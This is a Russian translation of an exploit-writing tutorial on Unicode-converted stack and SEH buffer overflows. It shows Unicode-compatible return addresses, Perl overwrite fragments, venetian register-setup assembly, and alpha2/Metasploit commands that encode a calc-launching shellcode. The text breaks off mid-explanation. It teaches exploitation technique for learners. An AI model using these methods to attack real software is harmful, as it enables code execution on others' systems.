R0 CREW

Exploit Writing Tutorial Part 7: Unicode – from 0×00410041 to calc (Перевод: E-agle, demien)

Перейти к содержанию

Наконец… проведя пару недель работая над юникодом и юникодными экслойтами, я счастлив, что могу опубликовать эту статью, относящуюся к серии написания эксплойтов: написание эксплойтов для стека основанного на переполнении буфера Юникода.

Бывало что вы сталкивались (а может и нет;)) с ситуацией, когда вы выполнили переполнение стека буфера, перезаписывая или RET адрес или SEH записи, но вместо того, чтобы получать 0×41414141 в EIP, вы получили 0×00410041.

Иногда, когда данные используются в функции, применяются некоторые манипуляции. Иногда данные преобразуются в верхний регистр, в нижний регистр, и т. д. В некоторых случаях данные конвертируется в Юникод. Когда вы видите, 0×00410041 в EIP, во многих случаях, это, вероятно, означает, что ваша полезная нагрузка была преобразована в Юникод, прежде чем она попала в стек.

В течение долгого времени, люди полагали, что этот тип перезаписи не может быть использован. Это могло привести к отказу в обслуживании, но не к выполнению кода.

В 2002 году Крис Анлей написал документ, показывающий, что это утверждение ложно. Так родился термин “Венецианский Шеллкод”.

В январе 2003 года, статья «Phrack» была написана автором по имени Обскоу (Obscou), в которой была продемонстрирована техника того, как превратить эти знания в рабочий шеллкод, и примерно через месяц, Дэйв Аител выпустил скрипт для автоматизации этого процесса.

В 2004 году FX продемонстрировали новый скрипт, который позволит оптимизировать эту технику еще дальше.

Наконец, некоторое время спустя, SkyLined выпустил свой знаменитый альфа-2 кодировщик для паблика, который также позволяет создавать юникод-совместимый шелл-код. Мы еще поговорим об этих методах и инструментах позже.

2009 год – и вот мой туториал. Он не содержит ничего нового, но призван собрать весь имеющийся материал воедино в этом документе.

Для того чтобы перейти от поиска 0×00410041 к созданию рабочих эксплойтов, существует несколько вещей, которые необходимо уточнить в первую очередь. Важно понимать, что такое юникод, почему данные преобразуются в юникод, как происходит преобразование, что влияет на процесс преобразования, и как преобразования влияют на процесс создания эксплойта.

Что такое Юникод и почему разработчик решает преобразовать данные в юникод?

Википедия гласит: «Юникод является стандартом кодирования символов, который позволяет компьютерам представлять и манипулировать текстом, выраженном в большинстве мировых письменных системах, неизменно.
Разработанный в тандеме со стандартом универсального набора символов и опубликованный в виде книги, как стандарт Юникода, последняя версия Юникода состоит из репертуара более 107000 символов охватывающих 90 скриптов, набора кода для визуальной ссылки, методологии кодирования и набора стандартных кодировок символов, перечисление характера свойств, таких как верхний и нижний регистры, набор справочных файлов данных компьютера, а также ряд сопутствующих товаров, таких как характер свойств, правила нормализации, декомпозиция, сортировка, передача и двунаправленный порядок отображения (для правильного отображения текста, содержащего скрипты как справа-налево, таких как арабский или иврит, так и слева-направо).»

Вкратце, Юникод позволяет визуально представить и / или манипулировать текстом в большинстве систем по всему миру, в согласованном порядке. Таким образом, приложения можно использовать по всему миру, не беспокоясь о том, как текст будет выглядеть, когда отображается на компьютере - практически на любом компьютере - в другой части мира.

Большинство из вас должны быть более или менее знакомы с ASCII. В сущности, используется 7 бит для представления 128 символов, часто сохраняя их в 8 бит, или в один байта за символ. Первый символ начинается с 00 и последний представлен 7F в шестнадцатеричной системе. (Вы можете увидеть полную ASCII таблицу, пройдя по адресу http://www.asciitable.com/).

Юникод бывает разным. Тем временем как есть много различных форм Юникода, UTF-16 является одним из самых популярных. Это не удивительно, так как он состоит из 16 бит, и разбивается в различные блоки/зоны (подробнее на http://czyborra.com/unicode/characters.html). (К вашему сведению, расширение было определено для того, чтобы обеспечить 32 бита). Просто помните: символы, необходимые для сегодняшних живых языков, все еще должны быть помещены в оригинальный Юникод плана 0 (a.k.a. Basic Multilangual Plane = BMP). Это означает, что наиболее простые языковые символы, как те, которые используются для написания данной статьи, представленные в Юникоде, начинаются с 00 (следуемый другим байтом, который соответствует шестнадцатеричному значению оригинального ASCII символа).

Вы можете найти большой обзор различных кодов символов Юникода здесь.

Пример: ASCII символов ‘A’ = 41 (шестнадцатеричное значение), репрезентацией Основного Латинского Юникода является 0041.

Существует еще очень много страниц кода, а некоторые из них не начинаются с 00. Это важно помнить, тоже.

Пока все хорошо - иметь единый способ представления символов это хорошо … но почему же многие вещи все еще в ASCII? Ну, большинство приложений, которые работают со строками, используют нулевой байт null-терменированной строки. Так что, если вы постараетесь наполнить юникод данные в ASCII-строку, то строка будет закончена сразу же … Вот почему, например, простые текстовые приложения (такие как, SMTP, POP3 и т.д.) по-прежнему используют ASCII для настройки связи. (Хорошо, полезная нагрузка может быть закодирована и может использовать юникод, но транспоризация в приложении использует ASCII).

Если вы преобразуете ASCII текст в Юникод (кодовую страницу ANSI), то результат будет выглядеть так, как если бы “00” добавляется перед каждым байтом. Таким образом, AAAA (41 41 41 41) будет выглядеть так 0041 0041 0041 0041. Конечно, это всего лишь результат преобразования данных в широкий символ данных. Результат любого преобразования юникода зависит от кодировки, которая была использована.

Давайте посмотрим на функцию MultiByteToWideChar (которая отображает строку символов в wide-character unicode символов):

int MultiByteToWideChar(
  UINT CodePage,
  DWORD dwFlags,
  LPCSTR lpMultiByteStr,
  int cbMultiByte,
  LPWSTR lpWideCharStr,
  int cchWideChar
);

Как вы можете видеть, кодировка важна. Некоторые возможные значения:

CP_ACP (ANSI кодировка, которая используется в Windows, также известный как UTF-16), CP_OEMCP (OEM кодировка), CP_UTF7 (UTF-7 кодировка), CP_UTF8 (UTF-8 кодировка) и т.д.

Параметр lpMultiBytestr содержит строку символов, которые должны быть преобразованы, и lpWideCharStr содержит указатель на буфер, который будет получать переведенную (юникод) строку.

Так что это неправильно утверждать, что юникод = 00 + оригинальный байт. Это зависит от кодировки.

Вы можете посмотреть код страницы, который используется в вашей системе, взглянув на “Язык и региональные стандарты”. В моей системе, это выглядит так:

Документ в FX показывает хорошую таблицу ASCII символов (в шестнадцатеричном виде), а также различные представления юникода в шестнадцатеричном виде (ANSI, OEM, UTF-7 и UTF-8). Вы заметите, что с ASCII 0×80, некоторые из ANSI представлений не содержат нулевых байтов больше (но они преобразуются в 0xc200XXXX или 0xc300XXXX), некоторые из OEM преобразований совершенно разные, и так далее.

Поэтому важно помнить, что только ASCII символы между 01h и 7FH имеют представительства в ANSI юникоде, где нулевые байты добавляются точно. Нам понадобятся эти знания в дальнейшем.

Разработчик может решить использовать эту функцию по назначению, по очевидным причинам (как указано выше). Но иногда разработчик может даже не знать, какое расширение юникода будет использоваться " под колпаком ", когда приложение построено/скомпелированно. Собственно говоря, Win32 API часто переводять строки в Юникод прежде чем начать работать с ними. В некоторых случаях (например, с Visual Studio), используемый API зависит от того устанавливается макрос _ЮНИКОД во время сборки или нет. Если макрос установлен, подпрограммы и типы отображаются на объектах, которые могут иметь дело с юникодом. API функций могут измениться. Например, вызов CreateProcess меняется на CreateProcessW (Unicode) или CreateProcessA (ANSI), основанный на статусе макроса.

Что является результатом преобразования в Юникод/влияние на построение эксплоита?

Когда входная строка преобразуется в ANSI юникод, ко всем символам от 0 × 00 и 0x7f, присоединятся спереди нулевой байт. Кроме того, множество символов выше 0x7F переводятся в 2 байта, и эти 2 байта могут не содержать исходный байт.

Это сводит на нет все, что мы изучали об эксплойтах и шеллкоде до сих пор.

Во всех предыдущих туториалах, мы пытались переписать EIP с 4 байтами (без учета намеренной частичной перезаписи).

С Юникодом, вы контролируете только 2 байта из этих 4 байтов (2 других, скорее всего, будет нулями … таким образом, вы контролируете эти нули тоже)

Кроме этого, множество доступных инструкций (используются для прыжков, для шеллкода и т. д.) становятся ограниченными. В конце концов, нулевой байт помещается перед большинством байтов. И на вершине всего, другие байты (> 0x7F) просто преобразуются в нечто совсем другое. Статья Phrack (см. главу 2) объясняет, какие инструкции могут быть использованы, а какие нет.

Даже такие простые вещи, такие как куча nop-ов (0×90) становится проблемой. Первый nop может работать. Второй nop (в связи с выравниванием) станет инструкцией 0090 (или 009000) … и это уже больше не nop.

Таким образом, это звучит так, как будто придется преодолевать много препятствий. Неудивительно, что сначала люди думали, что написать эксплойт было невозможно …

Читайте документы

Я кратко объяснил, что произошло в последующие месяцы и годы после публикации «Создание произвольных шеллкодов в строке с юникод расширением ".

Когда вы возвращаетесь к чтению и попыткам понять все эти документы и методы (см. URL в начале этого туториала), становится ясно, что это отличный материал. К сожалению, мне потребовалось некоторое время, чтобы понять и скомпоновать все вместе. Хорошо, некоторые понятия хорошо объясняются в этих документах … но они показывают вам только часть картины. И я не мог найти хорошие ресурсы, в которых все это было скомпоновано вместе.

К сожалению, и несмотря на мои усилия и на тот факт, что я задавал много вопросов (по электронной почте, в Twitter, в списках рассылки и т.д.), я не получил какую-либо весомую помощь от других людей.

Так что либо не так много людей хотели объяснить мне это (возможно, они забыли, что они не родились с этими навыками … они тоже должны были учиться этому так или иначе), они были слишком заняты, чтобы отвечать на мой хромой вопрос, или просто не могли объяснить мне, или они просто игнорировали меня, потому что …? Я не знаю.

В любом случае … в конце концов, несколько добрых людей нашли время, чтобы дать мне исчерпывающий ответ (а не просто ссылаясь на некие PDF документы снова и снова). Спасибо, ребята. Если вы читаете это, и если вы хотите, чтобы ваше имя было здесь, дайте мне знать.

Возвращаясь к этим PDF файлам … хорошо, эти документы и инструменты довольно хороши. Но каждый раз, когда я читал один из этих документов, я начинал думать: «Хорошо, это здорово … теперь как я могу применить это? Как преобразовать эту концепцию в рабочий эксплойт ".

Пожалуйста, сделайте мне одолжение, и найдите время, чтобы прочитать эти документы самостоятельно. Если вам удастся полностью понять, как построить юникод эксплойты исключительно на основе этих документов, от А до Z, то это здорово …, то вы можете пропустить остаток этого туториала (или продолжить читать и смеяться надо мной, потому что я с трудом понимал это в своё время…)

Но если вы хотите узнать, как склеить все эти файлы в PDF формате и инструменты вместе и пройти лишнюю милю, необходимую для преобразования этих файлов в эксплойты, то читайте дальше.

Некоторые из вас могут быть знакомы с юникод эксплойтами, связанными с ошибоками браузера и heap spray. Несмотря на то, что количество ошибок в браузере значительно возросло за последние несколько лет (и число эксплойтов и ресурсов увеличиваются), я не собираюсь обсуждать технику эксплойта сегодня. Мое основное внимание будет сосоредоточено на том, чтобы объяснить стек на основе переполнения, которое подлежит юникод преобразованию. Некоторые части этого документа будут служить руководством при атаке браузеров, а также (особенно часть этого документа, посвященная шеллкоду).

Можем ли мы создать эксплойт, когда наш буфер преобразован в юникод?

Прежде всего

Прежде всего, вы узнаете, что не существует всеобъемлющего шаблона для создания юникод эксплойтов. Каждый эксплойт может (и, вероятно, будет) быть разным, требовать разного подхода и может потребовать много работы и усилий. Вам придется играть со смещениями, регистрами, инструкциями, написать свою собственную линию венецианского шеллкода, и т.д. … Так что пример, который я буду использовать сегодня, может не быть полезным во всех конкретных случаях. Пример, который я буду использовать, является только примером о том, как использовать различные техники, в основном демонстрирующие пути создания собственных строк кода и скомпоновать все вместе так, чтобы получить эксплойт, который делает то, что вы хотите, чтобы он делал.

EIP является 0×00410041. И что теперь?

В предыдущих туториалах мы обсуждали 2 вида эксплойтов: директива RET перезаписи или SEH перезаписи. Эти 2 типа перезаписи, конечно, остаются в силе с юникод эксплойтами. В типичной стеке на основе переполнения, вы либо перезаписывыете RET с 4 байтами (но из-за юникода, только 2 байта находятся под вашим контролем), либо перезаписывыете структурированные поля обработчика исключений записи (следующий SEH и SE Handler), каждый с 4 байтами, опять же, из которых только 2 находятся под вашим контролем.

Как мы можем по-прежнему злоупотреблять этим, чтобы заставить EIP делать то, что мы хотим, чтобы он делал? Ответ прост: перезаписать 2 байта в EIP чем-то полезным.

Директива RET: перезапись EIP чем-то полезным

Глобальная идея “прыжок в ваш шелл-код”, когда владеешь EIP, является все той же, является ли это ASCII или юникод переполнение буфера. В случае прямого RET перезаписи, вы должны будете найти указатель на инструкцию (или серию инструкций), который приведет вас к вашему шелл-коду, и вам нужно перезаписать EIP с этим указателем. Таким образом, вы должны найти регистр, который указывает на ваш буфер (даже если он содержит нулевые байты между каждым символом - не нужно беспокоиться по этому поводу), и вам нужно перейти («перепрыгнуть») к этому регистру.

Единственная проблема заключается в том, что вы не можете просто взять любой адрес. Адрес, который вам нужно поискать должен быть “отформатированным” таким образом, что, если к символам спереди добавляются 00, адрес должен остаться действительным.

Таким образом, по существу, у нас есть только 2 варианта:

  1. Найти адрес, который указывает на вашу jump/call/… инструкцию, и это выглядит так: 0x00nn00mm. Так что если вы перезапишите RET с 0xnn, 0xmm он станет 00nn00mm

или, наоборот, если вы не можете найти такой адрес:

  1. найти адрес, который также отформатирован 0x00nn00mm, и близок к call/jump/… инструкции, которую вы хотите выполнить. Убедитесь, что инструкции между адресом и фактическими call/jump адресами не повредит ваш стек/регистры, и использует этот адрес.

Как мы можем найти такие адреса?

FX написал хороший плагин для OllyDbg (так называемый OllyUNI), и мой собственный плагин для ImmDbg pvefindaddr поможет вам с этой задачей, а также:

Допустим, вам нужно перейти к eax. Скачайте pvefindaddr.py и поместите его в папку pyCommand вашего ImmDbg установочного. Затем откройте уязвимое приложение в ImmDbg и запустите:

!pvefindaddr j eax

Это выдаст вам список всех адресов в “jump eax”. Эти адреса будут отображаться не только в логе, но они также будут записаны в текстовый файл с именем j.txt.

Откройте этот файл и задайте поиск “Unicode”.

Вы можете найти два типа записей: записи, которые говорят: “Возможно Юникод совместимый” и записи, которые говорят “Юникод совместимый”.

Если вы сможете найти “Юникод совместимые” адреса, то эти адреса будут в 0x00nn00mm форме. (Таким образом, вы должны быть в состоянии использовать один из этих адресов без дальнейших исследований).

Если вы нашли " Возможно Юникод совместимые" адреса, то вы надо следить за этими адресами. Они будут в 0x00nn0mmm форме. Так что если вы взгляните в инструкции между 0x00nn00mm и 0x00nn0mmm, и вы видите, что эти инструкции не будут вредить приложению flow/registers/…, то вы можете использовать 0x00nn00mm адрес (и это будет встречатся на всем пути, пока не достигнет call/jump инструкции в 0x00nn0mmm). В сущности, вы будете прыгать более или менее близко/рядом к реальной инструкции, и будете надеяться, что инструкции между вашим местоположением и реальный прыжком не убьют вас.

OllyUNI в основном будет делать то же самое. Он будет искать Юникод дружественные адреса. Собственно говоря, он будет искать все call/jump reg/… инструкции (так что вам придется пройти через лог и смотреть сможете ли вы найти адрес, который прыгает на нужный регистр).

В принципе, мы ищем адреса, которые содержат нулевые байты в нужном месте. Если EIP содержит 0x00nn00mm, то вы должны найти адрес с тем же форматом. Если EIP содержит 0xnn00mm00, то вы должны найти адрес с этим форматом.

В прошлом мы всегда старались избегать нулевых байтов, так как он действует как ограничитель строки. На этот раз нам нужны адреса с нулевыми байтами. Нам не нужно беспокоиться об ограничении строки, потому что мы не собираемся ставить нулевые байты в строку, которая передается в приложение. Юникод преобразование будет вставлять нулевые байты для нас автоматически.

Давайте предположим, что вы нашли адрес, который сделает прыжок. Скажем, адрес 0x005E0018. Этот адрес не содержит символы, которые имеют шестигранную > 7f значение. Так что адрес должен работать.

Я полагаю, что вы поняли, после какого количества байт вы перезапишите сохраненный EIP. (Вы можете использовать метасплоит шаблон для этого, но вам придется смотреть на байты до и после перезаписи EIP, для того чтобы получить не менее 4 символов). Я покажу пример того, как сделать соответствие позже в этом туториале.

Предположим, что вы перезаписываете EIP после отправки 500 А. И вы хотите перезаписать EIP с “jump eax (в 0x005e0018)” (потому что EAX указывает на А), тогда ваш скрипт должен выглядеть следующим образом:

my $junk="A" x 500;
my $ret="\x18\x5e";
my $payload=$junk.$ret;

Таким образом, вместо того, чтобы перезаписывать EIP с паком (‘V’, 0x005E0018), вы перезаписываете EIP с 5E 18. Юникод добавляет нулевые байты перед 5E, и между 5E и 18, так EIP будет перезаписан с 005e0018

(string-to-widechar преобразоване позаботилось о правильном добавлении нулей, которые мы хотели добавить. Шаг 1 выполнен)

SEH основанный: владение EIP + short jump? (или нет?)

Что делать, если уязвимость основана на SEH? Из части 3 и 3б туториала, мы знаем, что мы должны переписать SE Handler с указателем на pop pop ret, и переписать nSEH с коротким прыжком (short jump).

С юникодом, вам все равно придется переписывать SE Handler с указателем на pop pop ret. Опять же, pvefindaddr поможет нам:

!pvefindaddr p2

Опять же, это выведет запись в лог, а также в файл под названием ppr2.txt. Откройте файл и поищите “Unicode” еще раз. Если вы сможете найти вход, который не содержит байты > 7f, то вы можете попробовать переписать SE Handler с этим адресом. Опять же, оставьте нулевые байты (они будут добавлены автоматически в связи с юникод преобразованием). В nseh, положите \xcc\xcc (2 точки остановки, 2 байта. Опять же, нулевые байты будут добавлены), и посмотрите, что произойдет.

Если все пойдет хорошо, pop pop ret выполнена, вы будете перенаправлены на первую точку остановки.

В не юникод эксплойтах, вам придется заменять эти точки остановки в nseh с short jump-ом и делать jump через адрес SE Handler на шеллкод. Но я могу заверить вас, что прописывая short jump в юникоде, только с 2 байтами, отделенных нулевыми байтами … не рассчитывайте на это. Он не будет работать.

Так что на этом и заканчивается.

SEH основанный: jump

Окей. Это не конец. Я просто шучу. Мы можем сделать это, при определенных условиях. Я объясню, как это работает на примере, который приводится внизу этого поста, поэтому сейчас я буду придерживаться теории. Все станет ясно, когда вы взгляните на пример, так что не волнуйтесь. (и если вы не понимаете, просто спросите. Я буду более чем счастлив объяснить вам).

Теория: вместо того чтобы писать код, чтобы сделать короткий прыжок (short jump) (0xeb, 0 × 06), возможно, мы можем запустить эксплойт безвредного кода, так, что он просто пройдет по перезаписанным nseh и seh, и закончится сразу в том месте, где мы должны перезаписали SEH, выполняя код, который мы поместили после того, как перезаписали SE структуру. Собственно говоря это то, чего мы хотели достичь в первую очередь, перепрыгивая через nSEH и SEH.

Для того чтобы сделать это, нам нужно 2 вещи:

  • Несколько инструкций, которые при исполнении не будут причинять никакого вреда. Нам нужно поместить эти инструкции в nSEH и
  • Юникод совместимый адрес используемый для перезаписи SE Handler не должен, когда выполняется как инструкция, причинять никакого вреда тоже.

Сбивает с толку? Не паникуйте. Я объясню это дальше подробно в примере, приведенном ниже в этом блоге.

Ну так что, мы можем только поставить 0x00nn00nn в EIP?

Да, и нет. Если вы посмотрите на таблицу юникод перевода, вы можете иметь некоторые другие опции, рядом с очевидным форматом 0x00nn00nn.

Ascii значения, представленные в шестнадцатеричном виде > 0x7f переводятся по-разному. В большинстве из этих случаев (см. таблицу на стр. 15 - 17), перевод превращает юникод версию во что-то другое.

Например 0 × 82 становится 1A20. Так что, если вы сможете найти адрес в формате 0x00nn201A, то вы можете использовать тот факт, что 0 × 82, будет автоматически пересчитано в 201A.

Единственная проблема, с которой вы можете столкнуться, это если вы строите эксплойт на основе SEH, это может привести к проблеме, потому что после pop pop ret, адресные байты выполняются как инструкции. Пока инструкции действуют как nops, или не вызывают больших изменений, все идет прекрасно. Я думаю, что вам просто надо проверить все доступные “юникод совместимые” адреса и убедиться самим, есть ли адрес, который будет работать. Опять же, вы можете использовать pvefindaddr (Immdbg плагин) для поиска нужного pop pop ret адреса, который являются юникод совместимым.

Адреса, которые вы будете искать могут начинаться или заканчиваться:

ac20 (=80 ASCII), 1a20 (=82 ASCII), 9201 (=83 ASCII), 1e20 (=84 ASCII), и так далее (просто посмотрите на таблицу перевода.). Успех не гарантирован, но это стоит попробовать.

Готов запустить шеллкод … Но готов ли шеллкод?

Хорошо, теперь мы знаем, что положить в EIP. Но если вы посмотрите на свой ASCII шеллкод: он также будет содержать нулевые байты, и, если он использует инструкции (коды операций) выше 0x7F, инструкции, возможно, даже изменились. Как мы можем сделать это? Есть ли способ для преобразования ASCII шелл-кода (такие же, как те, которые создаются с метасплоит) в юникод совместимый шелл-код? Или мы должны написать наш собственный материал? Мы собираемся выяснить это.

Шеллкод: Техника 1: Найти ASCII эквивалент и перепрыгнуть к ней

В большинстве случаев, ASCII строка, которая подавалась в приложение преобразуется в юникод после того, как она была поставлена в стек или в память. Это означает, что это возможно найти ASCII версию вашего шеллкода где-то. Так что, если вы сможете указать EIP, чтобы он перепрыгнул к этому месту, это может сработать.

Если ASCII версия не достижима напрямую (прыжком в регистр), но вы контролируете содержимое одного из регистров, то вы можете перейти в этот регистр, и поместить некоторые основные jump-коды в том месте, которое сделает прыжок на ASCII версию. Мы поговорим об этом jump-коде позже.

Хороший пример эксплойта, который использует эту технику можно найти здесь.

Шеллкод: Техника 2: Пишем свой юникод-совместимый шеллкод с нуля

Правильно. Это возможно, нелегко, но возможно … но есть лучшие способы. (см. техника 3)

Шеллкод: Техника 3: Использование декодера

Хорошо, мы знаем, что шеллкод генерируемый в метасплоит (или написанный вами) не будет работать. Если шеллкод не был написан специально для юникода, он не будет работать (нулевые байты вставляются, опкоды изменились, и т.д).

К счастью, пару умных людей придумали несколько инструментов (на основе концепции венецианского шелл-кода), которые решат этот вопрос. (Dave Aitel, FX и SkyLined).

По сути, все сводится к следующему: Вам нужно закодировать ASCII шеллкод в юникод-совместимый код, перед именем декодера (также юникод-совместимого). Затем, когда декодер выполнен, он раскодирует исходный код и выполнит его.

Существуют 2 основных способа сделать это: либо воспроизведя исходный код в отдельном месте памяти, и затем прыгать на то место, или путем изменения кода “в линии”, и затем запустить воспроизведенный шеллкод. Вы можете прочитать все об этих инструментах (и принципах, на которых они основаны) в соответствующих документах, упомянутых в начале этого блога. Первый метод требует 2 вещи: один из реестров должен указывать на начало декодер+шеллкод, и один регистр должен указывать на область памяти, куда можно записать (и где это лучше, чтобы записать новый собранный шеллкод). Второй метод требует, чтобв только один из регистров указывал на начало декодер+шеллкод, и оригинальный шеллкод будет собран на месте.

Можем ли мы использовать эти инструменты для создания рабочих шеллкодов, и если да, то как мы должны их использовать? Давайте выясним.

1. makeunicode2.py (Dave Aitel)

Этот скрипт является частью CANVAS, коммерческий инструмент от Immunity. Так как я не имеют лицензии, я не был в состоянии проверить это (и, следовательно, я не могу объяснить, как им пользоваться).

2. vense.pl (FX)

На основании объяснений FX в 2004 его Blackhat презентации, этот удивительный Perl скрипт, кажется, производит усовершенствованную версию, которую можно получить makeunicode2.py

Выходной файл этого скрипта является строкой байт, содержащей декодер и оригинальный шеллкод все-в-одном. Таким образом, вместо того, чтобы размещать метасплоит сгенерированный шелл-код в буфер, вам необходимо поместить выходной файл vense.pl в буфер.

Для того, чтобы иметь возможность использовать декодер, вы должны быть в состоянии создать регистры следующим образом: один регистр должен указывать непосредственно на начало место расположения буфера, где ваш шеллкод (vense.pl сгенерированный шелл-код) будет помещен.

(В следующей главе я объясню, как изменить значения в регистрах, так чтобы вы могли указать один регистр в любое место куда вы хотите.). Далее, вам нужно иметь второй регистр, который указывает на ячейку памяти, доступную для записи и исполнения (RWX), и где лучше всего делать записи данных (без повреждения чего-нибудь еще).

Предположим, что регистр, который будет создан для того, чтобы указывать на начало vense-генерируемых шеллкодов, является eax, и edi указывает на местоположение для записи:

редактируем vense.pl и устанавливаем $basereg и $writable параметры до необходимого значения.

Далее, прокрутите вниз, и поищите $secondstage

Удалите содержимое этой переменной и замените его на свой собственный (сгенерированный метасплойтом) Perl шеллкод. (Это ASCII шеллкода, который запустится после того, как декодер сделает свое дело.)

Сохраните файл и запустите скрипт. Выходной файл будет показывать:

  • Оригинал шеллкода
  • Новый шеллкод (тот, который включает в себя декодер).

Теперь используйте этот «новый» шеллкод в вашем эксплойте и убедитесь, eax указывает на начало этого шеллкода. Вам, скорее всего, придется настроить регистры (если вам повезло).

Когда регистры созданы, просто запустите “jump eax” и декодер извлечет оригинальный шелл-код и запустит его. Опять же, в следующей главе я вам покажу, как установить/настроить регистры и сделать прыжок (jump) с использованием юникод-совместимого кода.

Примечание 1: вновь созданный шифровщик+шеллкод будет работать только когда он преобразуется в юникод, а затем запустится. Таким образом, вы не сможете использовать этот тип шеллкода в не-юникод эксплойте.

Примечание 2: несмотря на то, что алгоритм, используемый в этом скрипте является улучшением по сравнению с makeunicode2.py, вам все равно в конечном итоге закончите с довольно длинным шеллкодом. Так что вам нужно собственное пространство буфера (или короткие, не сложные шелл-коды) для того, чтобы использовать эту технику.

3. альфа2 (SkyLined)

Знаменитый альфа-2 кодировщик (также адаптированный в другие инструменты, такие как метасплойт, и куча других инструментов) будет принимать ваши оригинальный шеллкод, заворачивать его в декодер (очень похоже на то, что vense.pl делает), но преимуществом здесь является

  • Вам нужно всего лишь регистр, который указывает на начало этого шеллкода. Вам не нужен дополнительный регистр, доступный для записи/исполнения.
  • Декодер развернет исходный код на месте. Декодер самомодифицирующийся, и общее количество необходимого размера буфера меньше.

(в документации говорится, что "декодер изменяет свой собственный код, чтобы избежать ограничений буквенно-цифрового кода. Он создает декодер цикл, который декодирует оригинальный шеллкод из закодированных данных. Он перезаписывает закодированные данные с декодированным шелл-кодом и передает выполнение закончит. Чтобы это сделать, ему нужно прочитать, записать и выполнить разрешение на памяти, где он работает, и ему нужно знать его место в памяти (это baseaddress)

Вот как это работает:

  1. Генерируется необработанный шеллкод с msf полезной нагрузкой.
  2. Необработанный шеллкод преобразовывается в юникод строку, используя альфа-2:
root@bt4:/# cd pentest
root@bt4:/pentest# cd exploits/
root@bt4:/pentest/exploits# cd framework3

./msfpayload windows/exec CMD=calc R > /pentest/exploits/runcalc.raw

root@bt4:/pentest/exploits/framework3# cd ..
root@bt4:/pentest/exploits# cd alpha2

./alpha2 eax --unicode --uppercase < /pentest/exploits/runcalc.raw

PPYAIAIAIAIAQATAXAZAPA3QAD...0LJA

(Я удалил большую часть выходных данных. Просто создайте свой собственный шелл-код и скопируйте/вставьте выходные данные в ваш эксплойт скрипт)

Расположите выходные данные alpha2 преобразования в $shellcode переменную в вашем эксплойте. Опять же, убедитесь, что регистр (eax в моем примере) указывает на первый символ этого шеллкода, и убедитесь, что стоит переход на eax (jmp eax) (после создания регистра, если это было необходимо)

Если вы не можете подготовить/использовать регистр в качестве базового адреса, то альфа-2 также поддерживает метод, который попытается рассчитать свой базовый адрес с помощью SEH. И вместо указания регистра, просто укажите SEH. Таким образом, вы можете просто запустить код (даже если он не указывает непосредственно на один из регистров), и он все еще будет способен декодировать и запустить оригинальный шелл-код).

4. Метасплойт

Я попытался создать юникод совместимый шелл-код с помощью метасплойта, но изначально он не работает так, как я ожидал…

root@krypt02:/pentest/exploits/framework3#

./msfpayload windows/exec CMD=calc R |
   ./msfencode -e x86/unicode_upper BufferRegister=EAX -t perl

[-] x86/unicode_upper failed: BadChar; 0 to 1
[-] No encoders succeeded.

(Залил сюда https://metasploit.com/redmine/issues/430)

Стивен Фювер предложил такое решение этой проблемы:

./msfpayload windows/exec CMD=calc R |
 ./msfencode -e x86/alpha_mixed -t raw |
     ./msfencode -e x86/unicode_upper BufferRegister=EAX -t perl

(поставьте все на одну строку)

(в основном, прежде кодируйте с alpha_mixed, а затем с unicode_upper). Выходной будет юникод совместимым шеллкодом для Perl.

Результат: Метасплоит также может сделать это.

5. UniShellGenerator Back Khoa Internetwork Security

Этот инструмент продемонстрирован в этой презентации. К сожалению, я не смог найти копию этого инструмента нигде, и человек/люди, которые писали инструмент не ответил мне также …

Присоединение одиного к другому: подготовка регистров и переход к шеллкоду

Для того, чтобы бы выполнить шеллкод, вы должны достигнуть шеллкода. Является ли это ASCII версией шеллкода, или юникод версией (декодер), вам нужно, прежде всего, попасть туда. Для того, чтобы сделать это, вам часто будет необходимо создавать регистры определенным образом, используя собственный венецианский шеллкод и/или написать код, который будет осуществлять прыжок на данный реестр.

Написание этих строк кода требует немного творчества, требует, чтобы вы думали о регистрах, и будет требовать, чтобы вы могли писать некоторые основные ассемблер инструкции.

Написание jumpcode основывается исключительно на принципах венецианского шеллкода. Это означает, что

  • У вас есть только ограниченный набор команд
  • вам нужно следить за нулевыми байтами. Когда код помещается в стек, будут вставлены нулевые байты. Так что инструкции должны работать, когда нулевые байты добавляются
  • вам нужно думать об опкоде выравнивания

Пример 1
Допустим, вы нашли ASCII версию вашего шеллкода, без изменений, при 0 × 33445566, и вы заметили, что вы также контролируете eax. Вы перезаписываете EIP с прыжком в eax, и теперь, идея заключается в том, чтобы написать несколько строк кода в eax, который совершит прыжок на 0 × 33445566.

Если бы это не являлось юникодом, мы могли бы сделать это, используя следующие инструкции:

bb66554433      #mov     ebx,33445566h
ffe3            #jmp     ebx

=> Мы бы расположили следующий код в eax: \xbb\x66\x55\x44\x33\xff\xe3, и мы бы перезаписали EIP с “jump eax”.

Но это юникод. Таким образом, очевидно, что это не будет работать.

Как мы можем достичь того же с юникодом совместимыми инструкциями?

Давайте взглянем на инструкцию mov в первую очередь. “mov ebx” = 0xbb, сопровождается тем, что вы хотите поместить в ebx. Этот параметр должен быть в 00nn00mm формате (так, когда нулевые байты вставлены, они будут вставлены туда где уже есть нули (или там, где мы ожидаем нули), не вызывая вопросов в инструкции). Например, вы можете сделать mov ebx, 33005500. Опкод для этого будет такой:

bb00550033      #mov     ebx,33005500h

Так байты для записи в eax (в нашем примере) следующие \xbb\x55\x33. Юникод вставит нулевые байты, в результате выдавая \xbb\x00\x55\x00\x33, что на самом деле является инструкцией, которая нам нужна.

Та же самая техника применяется для добавления и суб инструкции.

Вы можете использовать inc, dec инструкции также, чтобы изменить регистры или перенести позиции в стеке.

Статья Phrack о Построение IA32 “Unicode-Proof” Shellcodes показывает всю последовательность присоединения любого адреса в данный регистр, показывая, что именно я имею в виду. Возвращаясь к нашему примеру, мы хотим положить 0 × 33445566 в eax. Вот как это делается:

mov eax,0xAA004400        ; set EAX to 0xAA004400
push eax
dec esp
pop eax                   ; EAX = 0x004400??
add eax,0x33005500        ; EAX = 0x334455??
mov al,0x0                ; EAX = 0x33445500
mov ecx,0xAA006600
add al,ch                 ; EAX now contains 0x33445566

Если мы преобразовываем эти инструкции в опкоды, то получаем:

b8004400aa      mov     eax,0AA004400h
50              push    eax
4c              dec     esp
58              pop     eax
0500550033      add     eax,33005500h
b000            mov     al,0
b9006600aa      mov     ecx,0AA006600h
00e8            add     al,ch

И здесь мы видим нашу следующую проблему. Mov и add инструкции кажутся юникод совместимыми. Но что на счет единственном байте опкодов? Если нулевые байты добавляются между ними, в инструкции не буду больше работать.

Давайте посмотрим, что я имею в виду

Приведенные выше инструкции будут переведены на следующую строку данных полезной нагрузки:

